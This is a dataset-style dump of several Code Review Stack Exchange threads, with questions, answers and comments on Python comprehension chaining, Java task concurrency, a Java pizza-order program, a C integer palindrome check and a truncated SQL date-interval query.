body
stringlengths 25
86.7k
| comments
list | answers
list | meta_data
dict | question_id
stringlengths 1
6
|
|---|---|---|---|---|
<p>I assigned the following contrived problem in a comparative programming languages course to give students practice with "streaming":</p>
<blockquote>
<p>Write function that returns the top ten players by points-per-game among the players that have been in 15 games or more. The input to your function will be an object, keyed by team, with a list of player stats. Each player stat is an array with the player name, the number of games played, and the total number of points.</p>
</blockquote>
<p>A sample data set is as follows:</p>
<pre><code>stats = {
'ATL': [
['Betnijah Laney', 16, 263],
['Courtney Williams', 14, 193],
],
'CHI': [
['Kahleah Copper', 17, 267],
['Allie Quigley', 17, 260],
['Courtney Vandersloot', 17, 225],
],
'CONN': [
['DeWanna Bonner', 16, 285],
['Alyssa Thomas', 16, 241],
],
'DAL': [
['Arike Ogunbowale', 16, 352],
['Satou Sabally', 12, 153],
],
'IND': [
['Kelsey Mitchell', 16, 280],
['Tiffany Mitchell', 13, 172],
['Candice Dupree', 16, 202],
],
'LA': [
['Nneka Ogwumike', 14, 172],
['Chelsea Gray', 16, 224],
['Candace Parker', 16, 211],
],
'LV': [
['A’ja Wilson', 15, 304],
['Dearica Hamby', 15, 188],
['Angel McCoughtry', 15, 220],
],
'MIN': [
['Napheesa Collier', 16, 262],
['Crystal Dangerfield', 16, 254],
],
'NY': [
['Layshia Clarendon', 15, 188]
],
'PHX': [
['Diana Taurasi', 13, 236],
['Brittney Griner', 12, 212],
['Skylar Diggins-Smith', 16, 261],
['Bria Hartley', 13, 190],
],
'SEA': [
['Breanna Stewart', 16, 317],
['Jewell Loyd', 16, 223],
],
'WSH': [
['Emma Meesseman', 13, 158],
['Ariel Atkins', 15, 212],
['Myisha Hines-Allen', 15, 236],
],
}
</code></pre>
<p>Now in JavaScript, there is a "fluent" or method-chaining style readily apparent:</p>
<pre><code>function topTenScorers(stats) {
return Object.entries(stats)
.flatMap(([team, players]) => players.map(player => [...player, team]))
.filter(([, games, ,]) => games >= 15)
.map(([name, games, points, team]) => ({ name, ppg: points / games, team }))
.sort((p1, p2) => p2.ppg - p1.ppg)
.slice(0, 10)
}
</code></pre>
<p>However, my Python solution (below) just doesn't satisfy the same way (I'm more of a JavaScript programmer). I've heard that Python list comprehensions are preferred to <code>map</code> and <code>filter</code>; I think that Python doesn't have a built-in <code>flat_map</code>, and, well, although you <em>can</em> do fancy things with <code>itertools</code>, Pythonic programs tend to, I think, be more favorable to computing intermediate expressions than to chaining. So I came up with the following:</p>
<pre><code>def top_ten_scorers(stats):
with_teams = [[*player, team]
for (team, players) in stats.items()
for player in players]
with_ppg = [{'name': name, 'ppg': points/games, 'team': team}
for [name, games, points, team] in with_teams
if games >= 15]
return sorted(with_ppg, key=lambda k: k['ppg'], reverse=True)[:10]
</code></pre>
<p>I'd love to know whether the code is in the style of current Python best practices. I know Python is well-loved by data scientists, and this problem, although very contrived, feels data-sciencey to me, so I figured a set of best practices would have arisen that my code might not meet. Also, I'm having trouble with names for the intermediate expressions, and am not sure whether the breakdown of steps is too coarse or too fine. I'm not sure which approach to take to clean it up.</p>
<p>Of course, it is not imperative that a streaming solution be found; what is most important is a solution that best fits the Zen of Python rule(s) "There should be one-- and preferably only one --obvious way to do it. Although that way may not be obvious at first unless you're Dutch."</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T08:32:40.440",
"Id": "489523",
"Score": "2",
"body": "Note that something that makes all solutions inevitably a bit more clunky than necessary is that your input encodes player properties (name, number of games, points) by position and not by key or similar. Without it, one could write a readable solution that does not require wrapping the processed player stats featuring points per game in a dictionary."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T00:51:42.457",
"Id": "489638",
"Score": "0",
"body": "Yes, very true! That was intentional :) Not trying to purposely frustrate students, but to give them a hint of \"messiness\" in the data"
}
] |
[
{
"body": "<p>It is possible to write those steps in a single comprehension -- sort of the Python\nanalogue for chaining in JavaScript or Ruby. It doesn't read too badly if you\nconvey the logic visually. Without that attention to code layout,\ntoo much burden would be placed on\nthe readers and maintainers.</p>\n<pre><code>from operator import itemgetter\n\ndef top_ten_scorers(stats):\n return sorted(\n (\n dict(\n name = name,\n team = team,\n ppg = points / games,\n )\n for team, players in stats.items()\n for name, games, points in players\n if games >= 15\n ),\n reverse = True,\n key = itemgetter('ppg'),\n )[:10]\n</code></pre>\n<p>I would probably break it down more explicitly into the 3 steps: organize data; order it; select top 10.</p>\n<pre><code>def top_ten_scorers2(stats):\n players = [\n dict(\n name = name,\n team = team,\n ppg = points / games,\n )\n for team, players in stats.items()\n for name, games, points in players\n if games >= 15\n ]\n ranked = sorted(players, reverse = True, key = itemgetter('ppg'))\n return ranked[:10]\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T10:13:50.710",
"Id": "489431",
"Score": "2",
"body": "Using `dict` like that isn't normal."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T11:28:04.027",
"Id": "489436",
"Score": "3",
"body": "@Peilonrayz It may not be common, but I think it's pretty clear, which matters most imo"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T11:42:35.887",
"Id": "489437",
"Score": "3",
"body": "@Energya So would just sticking with a literal."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T11:53:42.883",
"Id": "489440",
"Score": "4",
"body": "@Peilonrayz especially when names are fixed, using the `dict()` call means getting rid of all the single quotes, which I think improves the readability here. Nothing would be wrong with the `{'name': name, ...}`-style literal either btw, matter of preference"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T11:14:37.700",
"Id": "489539",
"Score": "0",
"body": "@Energya It's at least common enough that two people here independently chose it :-) (I wrote mine before looking at FMc's, then just stole the itemgetter). Though I usually use `{...}` and only used `dict(...)` here because it's a few chars shorter and I think I was worried about line length. But I now benchmarked and `{...}` was much faster (130 ns vs 350 ns), so I'll probably stick with that in the future."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T14:33:11.567",
"Id": "489554",
"Score": "0",
"body": "@Peilonrayz: I agree that a list of dicts feels a bit weird and non-optimal, e.g. instead of a dicts with tuples. One advantage of the list of dicts above is that the list could be imported directly into a pandas DataFrame, though."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T14:49:58.587",
"Id": "489556",
"Score": "1",
"body": "@EricDuminil I'm not sure we're on the same page. List of dicts is like the staple for REST frameworks, no problem here. My comment is about using `dict` with kwargs rather than `{}`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T15:01:39.340",
"Id": "489557",
"Score": "0",
"body": "@Peilonrayz yes, I misunderstood your comment. Lists of dicts feel very JSONy indeed, but they might not always be the best structure. If you want to find anything, you need to iterate over every row, every single time."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T15:03:44.170",
"Id": "489558",
"Score": "0",
"body": "@EricDuminil Yes, there are downsides to lists vs dicts."
}
],
"meta_data": {
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T09:49:56.020",
"Id": "249615",
"ParentId": "249610",
"Score": "6"
}
},
{
"body": "<p>This is more "streaming" in a sense:</p>\n<pre><code>from heapq import nlargest\nfrom operator import itemgetter\n\ndef top_ten_scorers(stats):\n players = (dict(name=name, ppg=points/games, team=team)\n for team, players in stats.items()\n for name, games, points in players\n if games >= 15)\n return nlargest(10, players, key=itemgetter('ppg'))\n</code></pre>\n<p>Your <code>with_teams</code> and <code>with_ppg</code> are fully computed lists, and then <code>sorted</code> creates another one that it then sorts, and then you throw away all but ten elements of it.</p>\n<p>My <code>players</code> is a generator iterator, computing more elements on the fly as requested. The <code>players = ...</code> assignment only sets up the iterator, but nothing gets processed yet.</p>\n<p>Then <code>nlargest</code> consumes <code>players</code> one by one, keeping only the top 10 seen so far and returning them sorted (in descending order). Could also be more efficient than sorting everything, depending on the number of eligible players.</p>\n<p>I actually found your first two steps more confusing than helpful, as your <code>with_teams</code> creates an intermediate result/format to understand. I think it's simpler and easier to read to just directly produce the player dicts from the stats. Then again, I might be biased towards this and away from yours because I'm used to Python, which, as you say, isn't much into chaining.</p>\n<p>Btw, here's an old <a href=\"https://mail.python.org/pipermail/python-dev/2003-October/038855.html\" rel=\"noreferrer\">message from Guido</a> about some forms of chaining. Not sure it relates to what we have here, but perhaps interesting anyway.</p>\n<p>I used <code>dict(...)</code> just for brevity, but <code>{...}</code> is faster, so you might want to keep the latter:</p>\n<pre><code>Setup:\nname, ppg, team = 'Betnijah Laney', 263/16, 'ATL'\n\nRound 1:\n 347.041 ns dict(name=name, ppg=ppg, team=team)\n 128.325 ns {'name': name, 'ppg': ppg, 'team': team}\n\nRound 2:\n 350.576 ns dict(name=name, ppg=ppg, team=team)\n 129.106 ns {'name': name, 'ppg': ppg, 'team': team}\n\nRound 3:\n 347.753 ns dict(name=name, ppg=ppg, team=team)\n 130.734 ns {'name': name, 'ppg': ppg, 'team': team}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T20:49:57.787",
"Id": "489488",
"Score": "0",
"body": "Excellent point about my use of lists for the intermediate results instead of generator expressions (facepalm, I did know about them), and the Guido remark was helpful (the mutable sort in the JS chain bothered me a tiny bit I must confess)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T14:29:43.143",
"Id": "489553",
"Score": "0",
"body": "There are usually better data structures than lists of dicts. If you have to iterate over the whole list if you want to find anything. For the above example, a dict with names as keys and a tuple of `ppg` and `team` might be better suited. Something like `{name: (points / games, team) for team, rows in stats.items() for name, games, points in rows}`, for example."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T15:41:03.983",
"Id": "489565",
"Score": "0",
"body": "@EricDuminil But should I then store Michelle Campbell or should I store Michelle Campbell?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T15:44:11.947",
"Id": "489566",
"Score": "0",
"body": "@superbrain you mean, in case of name conflicts? Yes, that's one potential problem."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T15:48:09.043",
"Id": "489567",
"Score": "1",
"body": "@EricDuminil Yes, the example are apparently WNBA players and Michelle Campbell is the first duplicate name [here](https://www.wnba.com/players/archive/). They do link to the same page, though, so either it's just an erroneous duplicate entry and there really is only one player with that name, or that system assuming that duplicate names can't happen assumed wrong and perhaps did something like you suggested and shouldn't have :-P"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T15:53:37.833",
"Id": "489573",
"Score": "0",
"body": "@superbrain you're right. Lists of dicts doesn't feel optimal, but I can't propose anything better. Pandas data frame, possibly? Good answer, btw!"
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T13:50:29.167",
"Id": "249623",
"ParentId": "249610",
"Score": "17"
}
},
{
"body": "<p>I will state from the beginning that I do not necessarily think that such a 'semi-functional' style is "better" than the nested list comprehensions in the accepted answer, which also have a certain nice 'fluid' / 'chain' vibe to them (as per OP's words).</p>\n<p>However, I'm adding this answer to point out that if the kind of semi-functional / 'chaining' style OP demonstrated via Javascript is <em>preferred</em>, then this is entirely possible in python as well (though it might require defining a couple of extra helper functions to enable it).</p>\n<p>Here is an example below. First, since python does not have a bespoke 'chain' (a.k.a 'pipe') operator, we create a very simple one (taken from <a href=\"https://github.com/tpapastylianou/chain-ops-python\" rel=\"nofollow noreferrer\">here</a>):</p>\n<pre><code>def chain( Accumulant, *Functions_list ):\n for f in Functions_list: Accumulant = f( Accumulant )\n return Accumulant\n</code></pre>\n<p>Let's also create a simple, curried, <code>reduce</code> function, so that we can perform <code>map -> reduce</code> instead of <code>flatmap</code>:</p>\n<pre><code>def reduce_f( Function ):\n def reductor (List):\n while len( List ) > 1: List.insert( 0, Function( List.pop(0), List.pop(0) ) )\n return List[0]\n return reductor\n</code></pre>\n<p>Finally, let's create functional, curried versions of a couple of standard functions which we want to use. Note that this is not necessary, and the lambdas defined here could have been dumped directly in the 'chain', but predefining them here makes things much easier to the eye, and I have chosen these names/functions so that they are directly comparable to the javascript code functionality in the question:</p>\n<pre><code>splat_f = lambda f: lambda t: f(*t) # explode a tuple and pass it as arguments to f\nmap_f = lambda f: lambda _: list( map( f, _ ) )\nfilter_f = lambda f: lambda _: list( filter( f, _ ) )\nsorted_f = lambda f: lambda _: sorted(_, key=f )\nslice_f = lambda start, stop, step=1: lambda l: l[slice(start, stop, step)]\n</code></pre>\n<p>Armed with the above, we can re-create the equivalent "fluent", method-chaining style in python. It looks almost identical:</p>\n<pre><code>def topTenScores( stats ):\n return chain( stats\n , dict.items, list\n , map_f( splat_f(lambda team, players: list(map(lambda player: [*player, team], players))))\n , reduce_f( list.__add__ )\n , filter_f( splat_f(lambda _1, games, _2, _3: games >= 15) )\n , map_f( splat_f(lambda name, games, points, team:{'name':name,'ppg':points/games,'team':team}))\n , sorted_f( lambda x : x['ppg'] )\n , slice_f( 0, 10 )\n )\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-12-19T15:40:38.763",
"Id": "253666",
"ParentId": "249610",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "249623",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T08:51:17.267",
"Id": "249610",
"Score": "12",
"Tags": [
"python",
"fluent-interface"
],
"Title": "Chaining list operations in Python"
}
|
249610
|
<p>I have the following implementation which does the following</p>
<p>There are incoming download tasks and downloads need to be done concurrently. Each download task has its own following task and when a download ends, relative process starts. Download and Process classes are not of concern. Is this a good practice? How can I enhance this?</p>
<p>Task interface</p>
<pre><code>public interface Task {
}
</code></pre>
<p>Blocking Task interface</p>
<pre><code>public interface BlockingTask {
void setNext(Task task);
}
</code></pre>
<p>DownloadTask</p>
<pre><code>public class DownloadTask implements BlockingTask {
private Download download;
private Task task;
public DownloadTask(Download download) {
this.download = download;
}
public void setAfter(Task task) {
this.task = task;
}
public Task call() {
download.start();
return task;
}
}
</code></pre>
<p>ProcessTask</p>
<pre><code>public class ProcessTask implements Task {
private Process process;
public ProcessTask (Process process) {
this.process = process;
}
public Task call() {
process.start();
return null;
}
}
</code></pre>
<p>TaskOperator</p>
<pre><code>public class TaskOperator implements Runnable {
private final ExecutorService executor = Executors.newCachedThreadPool();
private CompletionService<Task> completionService = new ExecutorCompletionService(Executors.newCachedThreadPool());
public void put(Task task) {
completionService.submit(task);
}
public void listenTasks() {
while (true) {
try {
Future<Task> future = completionService.take();
Task task = future.get();
executor.submit(task);
} catch (InterruptedException e) {
//log
Thread.currentThread().interrupt();
} catch (ExecutionException e) {
//log
}
}
}
public void run() {
listenTasks();
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T15:09:34.273",
"Id": "489459",
"Score": "0",
"body": "I checked you code and it contains compilation errors so it's not working code, is this your final code ?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T15:25:38.717",
"Id": "489461",
"Score": "0",
"body": "Is there any reason not to use CompletableFuture.supplyAsynch(...).thenAcceptAsynch(...)?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T07:47:27.490",
"Id": "489518",
"Score": "0",
"body": "@mtj did not know about that, thanks"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T07:47:37.733",
"Id": "489519",
"Score": "0",
"body": "@dariosicily it consists some pseudo parts"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T10:33:09.813",
"Id": "489536",
"Score": "1",
"body": "Then I'm afraid your question is off topic here because Code Review is for open-ended questions about code that already works correctly and this is not your case, for further details you can check [on-topic](https://codereview.stackexchange.com/help/on-topic)."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T09:41:14.880",
"Id": "249613",
"Score": "1",
"Tags": [
"java",
"multithreading"
],
"Title": "Bounded tasks with completion service"
}
|
249613
|
<p>I've only been learning Java for two weeks, and I had to complete this task as part of my course. My instructor could not give specific feedback as answer file is already provided, the code works but I am just wondering what some of you might think of my code if it can be refined. It's a basic pizza ordering program.</p>
<p>The requirements were:</p>
<p>able to specify pizzas one at a time using an loop.
loop can end or not based on input.
order viauser input using the Scanner class.
format currency with NumberFormat
Thank you for your time and wisdom.</p>
<pre><code>import java.util.Scanner;
import java.text.NumberFormat;
public class PizzaOrder {
public static void main(String[] args) {
//defining and initialising variables.
NumberFormat nf = NumberFormat.getCurrencyInstance();
Scanner keyboard = new Scanner(System.in);
int pizzaquantity=0;
int numberoftoppings = 0;
double toppingtotalprice =0;
char ordermore = 'n';
double runningtotal = 0;
final double stp = 1.0, ltp = 1.5, ftp = 2.0;
final double s = 8.0, l = 11.0, f = 14.0;
//using a do while loop, because condition to stop is at the end.
do{
System.out.println("Please place the order for your pizza.");
System.out.println("Size (s = small, l = large, f = family):");
char pizzasize = keyboard.next().charAt(0);
//if else-else if nested inside loop
//one iteration of the conditional statement for pizza size type.
//number format is applied to every iteration of cost.
if (pizzasize == 's')
{
System.out.println("Number of toppings?:");
numberoftoppings = keyboard.nextInt();
toppingtotalprice = (numberoftoppings * stp);
System.out.println("Pizza Quantity:");
pizzaquantity = keyboard.nextInt();
runningtotal = (pizzaquantity * toppingtotalprice * s);
System.out.println("Cost is: " + nf.format(runningtotal));
}
else if (pizzasize == 'l')
{
System.out.println("Number of toppings?:");
numberoftoppings = keyboard.nextInt();
toppingtotalprice = (numberoftoppings * ltp);
System.out.println("Pizza Quantity:");
pizzaquantity = keyboard.nextInt();
runningtotal = (pizzaquantity * toppingtotalprice * l);
System.out.println("Cost is:" + nf.format(runningtotal));
}
else if (pizzasize == 'f')
{
System.out.println("Number of toppings?:");
numberoftoppings = keyboard.nextInt();
toppingtotalprice = (numberoftoppings * ftp);
System.out.println("Pizza Quantity:");
pizzaquantity = keyboard.nextInt();
runningtotal = (pizzaquantity * toppingtotalprice * l);
System.out.println("Cost is:" + nf.format(runningtotal));
}
else
{
}
System.out.println("Order more? (y/n):");
ordermore = keyboard.next().charAt(0);
}
while (ordermore != 'n');
System.out.println("Total cost is: " + nf.format(runningtotal += runningtotal));
System.out.println("Thank you for your order!");
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T14:08:24.447",
"Id": "489447",
"Score": "1",
"body": "Your title is far too generic. Please follow the guidelines: https://codereview.stackexchange.com/help/how-to-ask ."
}
] |
[
{
"body": "<p>The first thing that I observed was the duplication. Whatever the size of a pizza you have to ask for the same things. You should figure out how to remove that duplication of code.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T14:53:27.830",
"Id": "489456",
"Score": "1",
"body": "Thanks @pacmaninbw for the edit, much better than my hard words. +1"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T14:58:27.983",
"Id": "489458",
"Score": "0",
"body": "Word usage, it should have been hit rather than hurt."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T11:30:12.580",
"Id": "249619",
"ParentId": "249617",
"Score": "3"
}
},
{
"body": "<pre class=\"lang-java prettyprint-override\"><code>NumberFormat nf = NumberFormat.getCurrencyInstance();\n</code></pre>\n<p>Don't shorten names just because you can, it makes the code harder to read and maintain.</p>\n<pre class=\"lang-java prettyprint-override\"><code>final double s = 8.0, l = 11.0, f = 14.0;\n</code></pre>\n<p><em><strong>Perfect</strong></em> example of that. The more descriptive the names are, the better. Length should not be of any concern.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>double toppingtotalprice =0;\n</code></pre>\n<p>A <code>double</code> is still a floating point. For money, you always want to use <code>BigDecimal</code>, or an <code>int</code> as the smallest unit your money has (Cents for example).</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code>char ordermore = 'n';\n</code></pre>\n<p>Should mot likely be a boolean.</p>\n<hr />\n<pre class=\"lang-java prettyprint-override\"><code> //using a do while loop, because condition to stop is at the end. \n do{\n</code></pre>\n<p>You can use a <code>while</code> here, though.</p>\n<hr />\n<p>I'll skip the rest of your code and directly skip to the part that you've been waiting for: That works, but is bad design.</p>\n<p>Note that in the following examples I'm still using <code>double</code> for simplicity, you should use something else.</p>\n<p>Let's start with the fact that you have a lot of repetition, extract common parts into a function which accepts parameters to parameterize it. For example:</p>\n<pre class=\"lang-java prettyprint-override\"><code>private static final double inputPizza(double pizzaSizePrice, double toppingPricel) {\n System.out.println("Number of toppings?:");\n numberoftoppings = keyboard.nextInt();\n toppingtotalprice = (numberoftoppings * toppingPrice);\n System.out.println("Pizza Quantity:");\n pizzaquantity = keyboard.nextInt();\n return (pizzaquantity * toppingtotalprice * pizzaSizePrice);\n}\n</code></pre>\n<p>That already reduces repetition a lot.</p>\n<p>Now, we're going to encapsulate our information in a class of their own:</p>\n<pre class=\"lang-java prettyprint-override\"><code>public class PizzaCosts {\n protected double price;\n protected double toppingPrice;\n \n public PizzaPriceValues(double price, double toppingPrice) {\n super();\n \n this.price = price;\n this.toppingPrice = toppingPrice;\n }\n \n public double getPrice() {\n return price;\n }\n \n public double getToppingPrice() {\n return toppingPrice;\n }\n}\n</code></pre>\n<p>And in our main function:</p>\n<pre class=\"lang-java prettyprint-override\"><code>PizzaCosts smallPizzaCosts = new PizzaCosts(8.0d, 1.0d);\nPizzaCosts mediumPizzaCosts = new PizzaCosts(11.0d, 1.5d);\nPizzaCosts largePizzaCosts = new PizzaCosts(14.0d, 2.d);\n</code></pre>\n<p>That groups the values nicely together and makes it easier to read. Now let's go one step further, we'll put them into a <code>Map</code> to access them dynamically based on user-input:</p>\n<pre class=\"lang-java prettyprint-override\"><code>Map<String, PizzaCosts> pizzaCosts = new HashMap<>();\npizzaCosts.put("s", new PizzaCosts(8.0d, 1.0d));\npizzaCosts.put("m", new PizzaCosts(11.0d, 1.5d));\npizzaCosts.put("l", new PizzaCosts(14.0d, 2.0d));\n\nPizzaCosts selectedPizzaCosts = pizzaCosts.get(keyboard.next());\n\nif (selectedPizzaCosts != null) {\n runningTotal = runningTotal + inputPizza(pizzaCosts);\n} else {\n // Invalid selection\n}\n</code></pre>\n<p>Now that's a lot nicer, and should be enough to get you started further.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T16:26:41.970",
"Id": "249634",
"ParentId": "249617",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "249634",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T10:11:43.623",
"Id": "249617",
"Score": "5",
"Tags": [
"java"
],
"Title": "Exercise for ordering pizzas with user input"
}
|
249617
|
<p>Here is the solution-></p>
<pre><code>//Write a program to check the number whether it is palindrome or not
#include <stdio.h>
int
main(void){
//Put variables for the further proceed
int number, quotient=1, remainder,i=0;
//To declare a character array
char text[100];
//To show the message to the user
printf("Enter an integer number :");
//Taking input from the user
scanf("%d",&number);
//For finding escape the integer number in the reverse order specifically
int number_update=number;
//To find out the integer number in the reverse order
while(quotient!=0){
quotient=number_update/10;
remainder=number_update%10;
number_update=quotient;
text[i] = remainder + '0';//Converts integer to character and store to the array
i++;
}
//Converts the string to a whole integer
int result_of_reverse=atoi(text);
//Check the result of reverse order with the given integer number
if(result_of_reverse==number){
//To display the result
printf("This is a palindrome number");
}
else{
//To display the result
printf("This is not a palindrome number");
}
}
</code></pre>
<p>I want to achieve: How can I simplify my solution? Is there any better strategy should I follow to solve these types of problems?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T10:38:32.443",
"Id": "489433",
"Score": "3",
"body": "Every integer is a palindrome in some base. I have updated the title to be specific that you are looking for base 10 palindromes...."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T11:57:46.240",
"Id": "489441",
"Score": "0",
"body": "Is converting to string allowed? If so, [`snprintf`](https://www.geeksforgeeks.org/snprintf-c-library/) and char-wise compare would seem 'simpler'. Not necessarily faster or a better idea, just simpler."
}
] |
[
{
"body": "<ul>\n<li><p>Too many comments, and they do not serve any purpose.</p>\n</li>\n<li><p>Use all necessary <code>#include</code>s. <code>atoi</code> requires <code>#include <stdlib.h></code>.</p>\n</li>\n<li><p>Separate IO from the business logic. Constructing the reversed number definitely belongs to a function.</p>\n</li>\n<li><p>There is no need to convert the number into a textual representation. Consider building the reversed number as you compute the digits of the original:</p>\n<pre><code>int reverse (int number) \n{\n int reversed = 0;\n while (number != 0) {\n int last_digit = number % 10;\n number /= 10;\n reversed *= 10;\n reversed += last_digit;\n }\n return reversed;\n}\n</code></pre>\n<p>As a side effect, many variables (<code>quotient</code>, <code>remainder</code>, <code>number_update</code>, <code>i</code>) disappear.</p>\n</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T09:09:42.197",
"Id": "489524",
"Score": "0",
"body": "I got it, sir. Your logic helps me a lot. Thank you.@vnp"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-28T20:05:37.300",
"Id": "490273",
"Score": "3",
"body": "`reversed *= 10;` prone to overflow and undefined behavior. Try `reverse (1000000009)`. As is, code is broke for many `int` values."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T17:24:46.677",
"Id": "249639",
"ParentId": "249618",
"Score": "6"
}
},
{
"body": "<p>there is no need to input the 'number' as a <code>int</code>.</p>\n<p>suggest:</p>\n<pre><code>char array[30]\nchar reversed[30] = {0}\nscanf( "%29s", array ) to input the number \nsize_t len = strlen( array ) to obtain the length of the array,\nfor( size_t i=0; i < len/2; i++ ) {...} to reverse the array,\nstrcmp( array, reversed ) to make the comparison\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T00:39:39.330",
"Id": "249709",
"ParentId": "249618",
"Score": "4"
}
},
{
"body": "<blockquote>\n<p>How can I simplify my solution? Is there any better strategy should I follow to solve these types of problems?</p>\n</blockquote>\n<p>When using an <code>int</code> only solution, a common problem occurs with values like 1000000009, that when reversed, 9000000001, exceed the <code>int</code> range.</p>\n<p>To solve the range issue, only form the reverse of the first half of the digits and compare that to the remainder. No need to form the entire reversed value, just half of it.</p>\n<pre><code>// valid for i >= 0\nbool palindrome_test(int i) {\n int nines = 9;\n int reversed = 0;\n while (i > nines) {\n nines = nines * 10 + 9;\n reversed = reversed * 10 + i % 10;\n i /= 10;\n }\n if (nines/10 < i) { // odd number of i digits, we do not care about the middle digit.\n return i/10 == reversed;\n }\n return i == reversed;\n}\n</code></pre>\n<p>Tested correct for all <code>i >= 0</code>.</p>\n<p>Employing <a href=\"https://codereview.stackexchange.com/questions/249618/check-if-integer-is-a-palindrome-in-base-10/249970?noredirect=1#comment490328_249970\">@Deduplicator</a> good idea:</p>\n<pre><code>bool palindrome_test(int i) {\n int power_of_ten = 10;\n int reversed = 0;\n while (i >= power_of_ten) {\n power_of_ten *= 10;\n reversed = reversed * 10 + i % 10;\n i /= 10;\n }\n if (power_of_ten <= i * 10) {\n return i / 10 == reversed;\n }\n return i == reversed;\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-29T12:25:52.247",
"Id": "490328",
"Score": "1",
"body": "You know, if you use a power of ten instead of one less, and change < / > to <= / >=, you save an addition."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-29T12:31:52.943",
"Id": "490331",
"Score": "0",
"body": "@Deduplicator Good optimization idea."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-28T21:16:21.883",
"Id": "249970",
"ParentId": "249618",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "249639",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T10:11:44.347",
"Id": "249618",
"Score": "2",
"Tags": [
"c"
],
"Title": "Check if integer is a palindrome in base 10"
}
|
249618
|
<p>Currently with a given <code>Date</code> and an Interval in <code>Day</code>, I can calculate all of the appointment in the future. for example if you are supposed to have an appointment each <strong>30</strong> day starting '<strong>2020-09-24</strong>', all the future appointments would be calculated like this.</p>
<pre><code>--Source Table Creation
DROP TABLE IF EXISTS #DimDate
CREATE TABLE #DimDate ( id INT PRIMARY KEY IDENTITY, GregorianDate DATE)
--Sample Data
INSERT INTO #DimDate(GregorianDate)
SELECT TOP 2000 DATEADD(DAY, ROW_NUMBER() OVER (ORDER BY (SELECT NULL)) , GETDATE())
FROM sys.all_objects
</code></pre>
<pre><code>--Calculation Code
;WITH cte_name --30.4375
AS ( SELECT GregorianDate,DATEADD(DAY,30,GregorianDate) next30, ((ROW_NUMBER() OVER (ORDER BY GregorianDate ASC)-1) + 30) % 30 AS r
FROM #DimDate
WHERE GregorianDate >='2020-09-24'
)
SELECT *
FROM cte_name
WHERE r=0
</code></pre>
<p>Calculation is based on residual of this part the code <code>((ROW_NUMBER() OVER (ORDER BY GregorianDate ASC)-1) + 30) % 30 AS r</code>, if residual is 0 then we are at the next interval.</p>
<h2>What I am looking for</h2>
